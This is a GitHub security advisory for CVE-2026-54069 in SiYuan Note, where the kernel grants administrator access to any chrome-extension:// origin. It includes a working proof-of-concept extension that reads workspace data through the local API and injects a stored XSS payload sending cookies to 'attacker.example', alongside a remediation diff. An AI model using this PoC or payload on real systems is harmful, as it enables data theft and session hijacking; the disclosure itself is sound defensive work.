Skip to content

SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist

Critical severity GitHub Reviewed Published Jun 3, 2026 in siyuan-note/siyuan • Updated Jul 10, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

< 0.0.0-20260628153353-2d5d72223df4

Patched versions

0.0.0-20260628153353-2d5d72223df4

Description

Summary

SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.

Affected Versions

SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).

Vulnerability Details

Blanket chrome-extension:// Origin Trust (CWE-346)

In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:

if strings.HasPrefix(origin, "chrome-extension://") {
    // skip auth
}

At session.go:284, the request is assigned RoleAdministrator:

c.Set("role", model.RoleAdministrator)

The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.

The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit host_permissions) can access all admin endpoints.

Proof of Concept

Unauthenticated admin API access via browser extension:

A minimal Chrome extension with only default permissions:

{
  "manifest_version": 3,
  "name": "SiYuan PoC",
  "version": "1.0",
  "background": {
    "service_worker": "bg.js"
  }
}
// bg.js -- runs as chrome-extension://<id>
// No special host_permissions needed; localhost is accessible by default

// 1. Verify admin access
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: '{}'
}).then(r => r.json()).then(data => {
  console.log('[PoC] Admin API access confirmed:', data.code === 0);
});

// 2. Exfiltrate workspace data
fetch('http://127.0.0.1:6806/api/query/sql', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
}).then(r => r.json()).then(data => {
  console.log('[PoC] Exfiltrated blocks:', data.data?.length);
});

// 3. Inject stored XSS payload into a note
fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ notebook: '', path: '/' })
}).then(r => r.json()).then(tree => {
  const firstDoc = tree.data?.files?.[0];
  if (!firstDoc) return;

  fetch('http://127.0.0.1:6806/api/block/insertBlock', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      dataType: 'markdown',
      data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">',
      parentID: firstDoc.id
    })
  });
});

The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.

Impact

  • Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel
  • Data exfiltration of the entire workspace via /api/query/sql, /api/filetree/, /api/export/
  • Stored XSS injection via admin API endpoints (/api/block/insertBlock, /api/attr/setBlockAttrs), persisted in the user's notes
  • Configuration tampering via /api/system/setConf, enabling persistence and further attack surface expansion
  • Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user

Suggested Remediation

Remove blanket chrome-extension:// allowlist:

--- a/kernel/model/session.go
+++ b/kernel/model/session.go
@@ -274,9 +274,6 @@
 func CheckAuth(c *gin.Context) {
     origin := c.GetHeader("Origin")
-    if strings.HasPrefix(origin, "chrome-extension://") {
-        // Allow chrome extension requests
-    } else
     if !isValidOrigin(origin) {
         c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"})
         return

If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.

References

@88250 88250 published to siyuan-note/siyuan Jun 3, 2026
Published by the National Vulnerability Database Jun 24, 2026
Published to the GitHub Advisory Database Jul 10, 2026
Reviewed Jul 10, 2026
Last updated Jul 10, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(45th percentile)

Weaknesses

Origin Validation Error

The product does not properly verify that the source of data or communication is valid. Learn more on MITRE.

CVE ID

CVE-2026-54069

GHSA ID

GHSA-hvr9-72v2-fff3

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.